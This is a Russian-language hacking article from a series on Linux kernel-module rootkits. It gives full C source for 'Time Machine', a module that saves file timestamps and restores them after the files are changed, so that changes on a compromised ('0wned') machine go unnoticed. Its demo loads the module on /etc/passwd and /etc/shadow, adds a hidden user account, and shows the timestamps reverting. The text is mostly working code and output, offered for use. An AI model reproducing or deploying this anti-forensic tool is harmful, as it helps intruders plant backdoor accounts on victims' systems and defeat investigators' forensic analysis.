Теперь давай немножко поиграем с файловой системой 🙂

Традиционный метод скрытия/ перенаправления/
etc файлов это перехват системных вызовов типа
open/read/etc путем модификации syscall_table. Но простой перехват системных вызовов (любых, для любых целей) путем модификации syscall_table это вчерашний день, т.к. разработаны эффективные методы обнаружения и противодействия этому. Поэтому в этой статье я вообще не буду рассматривать этот метод ни для каких задач, хотя пару-тройку лет назад все доки по LKM hack'у только с этого и начинались. Один из самых последних публично известных методов скрытия/перенаправления файлов это перехват функций
VFS.

VFS - Virtual File System, эта система, часть ядра Linux, была создана для облегчения написания и использования кода для работы с разными файловыми системами (Ext2fs, NTFS, FAT, MINIX, etc). Как перехватывать функции VFS и как прятать/
перенаправлять файлы я расскажу в следующей части.

А сейчас мы рассмотрим маленькую, но полезную мод-утилиту для восстановления временных меток (timestamps - дата когда файл был создан, последний раз прочтен и модифицирован) на файлах.
Этот модуль я написал некоторое время назад чтобы
модифицировать файлы, но так, чтобы по их timestamp'ам нельзя было об этом догадаться. Модуль я назвал "Time Machine" - машина времени 🙂 

Загружаешь модуль и передаешь ему названия файлов которые ты хочешь модифицировать. Потом модифицируешь их и выгружаешь модуль после чего временные метки файлов восстанавливаются и становятся такими какими они были до модификации во время загрузки модуля 🙂

В моде будут использоваться эти внешние функции: path_init, path_walk, path_release. Полностью описывать их не буду, смотри соответствующие доки если хочешь. Вкратце скажу, что они нам нужны для того, чтобы по названию файла
определить его inode (инфу о фале), место нахождения inode'a на диске и загрузить его в оперативную память для дальнейшей работы с timestamp'ами.

/* --- --- --- --- --- cut here --- --- --- --- --- */
/*
* Time Machine. Make files in your 0wned box travel in time... 🙂
* Alekz. skleroz@pisem.net
*/

#define MODULE
#define __KERNEL__
#include <linux/config.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/string.h>

#include <linux/slab.h>
#include <linux/locks.h>
#include <linux/fd.h>
#include <linux/fs.h>
#include <linux/smp_lock.h>
#include <asm/uaccess.h>

char *files, *filo;
MODULE_PARM(files, "s"); //
для передачи модулю параметров
struct nameidata nd;

//структура для хранения timestamp'oв файлов
struct age /* The Age of Hackers 😉 */
{
time_t atime; //
access time (дата последнего чтения файла)
time_t mtime; //
modification time (последней модификации)
time_t ctime; //
creation time (дата создания файла)
};

#define MAX_AGES 16
struct age ages[MAX_AGES];
int king = 0;
#define DELIM ':'
#define PAST 1
#define FUTURE 2

int teleport(int time)
{
int i, error;
char *knight;

memcpy(filo, files, strlen(files)+1);
king = 0;

for(i = strlen(filo);i>=0;i--)
{
if(filo[i] == DELIM)
{
filo[i] = 0;
knight = filo; knight += i + 1;

if(king >= MAX_AGES)
return -1;
if(path_init(knight, 0, &nd))
error = path_walk(knight, &nd);
if(error)
continue;

/* Теперь благодаря path_init & path_walk мы имеем полностью заполненную структуру nameidata в переменной nd с нужной нам информацией. Структуры inode, nameidata и другие описаны в /usr/src/linux/include/linux/fs.h */

if(time == PAST)
{
//
запомнить timestamp'ы хранащиеся в inode'е файла
ages[king].atime = nd.dentry->d_inode->i_atime;
ages[king].mtime = nd.dentry->d_inode->i_mtime;
ages[king].ctime = nd.dentry->d_inode->i_ctime;
}
else if(time == FUTURE)
{
//
установить timestamp'ы обратно
nd.dentry->d_inode->i_atime = ages[king].atime;
nd.dentry->d_inode->i_mtime = ages[king].mtime;
nd.dentry->d_inode->i_ctime = ages[king].ctime;
}
king++;
path_release(&nd);
}
}

return 0;
}

int init_module(void)
{
if(!files)
return -1;

filo = kmalloc(strlen(files)+1, GFP_KERNEL);
if(!filo)
return -1;

if(teleport(PAST) == -1)
return -1;

return 0;
}

void cleanup_module(void)
{
teleport(FUTURE);
kfree(filo);
}
/* --- --- --- --- --- cut here --- --- --- --- --- */

Использование мода:

$ gcc tm.c -c #компилим

$ stat /etc/passwd /etc/shadow #смотрим все 3 timestamp'а файлов паролей
File: "/etc/passwd"
Size: 1090 Blocks: 8 Regular File
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Device: 301 Inode: 197890 Links: 1
Access: Mon Oct 20 15:48:13 2003
Modify: Tue Aug 12 00:49:53 2003
Change: Tue Aug 12 00:49:53 2003

File: "/etc/shadow"
Size: 897 Blocks: 8 Regular File
Access: (0600/-rw-------) Uid: ( 0/ root) Gid: ( 0/ root)
Device: 301 Inode: 197870 Links: 1
Access: Mon Oct 20 15:21:08 2003
Modify: Tue Aug 12 00:49:53 2003
Change: Tue Aug 12 00:49:53 2003

Загружаем мод и перечисляем файлы которые хотим модифицировать (каждый файл должен начинаться со знака двоеточия
":" !!! можешь поменять на любой другой в #define DELIM ':')

$ insmod tm.o files=:/etc/passwd:/etc/shadow

добавляем юзера, etc (будут дописаны файлы /etc/passwd &
shadow)

$ adduser timemaster

$ stat /etc/passwd /etc/shadow #смотрим timestamp'ы после модификации файлов
File: "/etc/passwd"
Size: 1120 Blocks: 8 Regular File
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Device: 301 Inode: 197906 Links: 1
Access: Mon Oct 20 16:59:38 2003
Modify: Mon Oct 20 16:59:38 2003
Change: Mon Oct 20 16:59:38 2003

File: "/etc/shadow"
Size: 915 Blocks: 8 Regular File
Access: (0600/-rw-------) Uid: ( 0/ root) Gid: ( 0/ root)
Device: 301 Inode: 197907 Links: 1
Access: Mon Oct 20 16:59:38 2003
Modify: Mon Oct 20 16:59:38 2003
Change: Mon Oct 20 16:59:38 2003

$ rmmod tm #выгружаем мод

проверяем правильно ли восстановлены timestamps:

$ stat /etc/passwd /etc/shadow
File: "/etc/passwd"
Size: 1120 Blocks: 8 Regular File
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Device: 301 Inode: 197890 Links: 1
Access: Mon Oct 20 15:48:13 2003
Modify: Tue Aug 12 00:49:53 2003
Change: Tue Aug 12 00:49:53 2003

File: "/etc/shadow"
Size: 915 Blocks: 8 Regular File
Access: (0600/-rw-------) Uid: ( 0/ root) Gid: ( 0/ root)
Device: 301 Inode: 197870 Links: 1
Access: Mon Oct 20 15:21:08 2003
Modify: Tue Aug 12 00:49:53 2003
Change: Tue Aug 12 00:49:53 2003

Файлы успешно попутешествовали во времени :).

Много док по LKM лежит в /usr/src/linux/Documentation, особенно интересны /usr/src/linux/Documentation/DocBook/kernel-api.pdf и kernel-hacking.pdf,
эти доки генерятся из исходников kernel'а (команды, чтоб их сгенерить: cd /usr/src/linux ; make pdfdocs,
можно генерить доки в разных форматах - html,
pdf, etc)) и описывают важные функции и навороты.

Ну вроде все на сегодня, попрактикуйся с модулями которые мы рассмотрели сегодня. В следующей раз я подробней расскажу о том как работать с VFS и сетью, загружать и скрывать модули, а также многое другое 😉 

Если у тебя возникли какие-то вопросы, пожелания или комментарии - мой T-мыл:
skleroz@pisem.net или пиши в форуме.

Удачного тебе хака и читай последующие
части! =:-)

Best regards,
Alekz.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии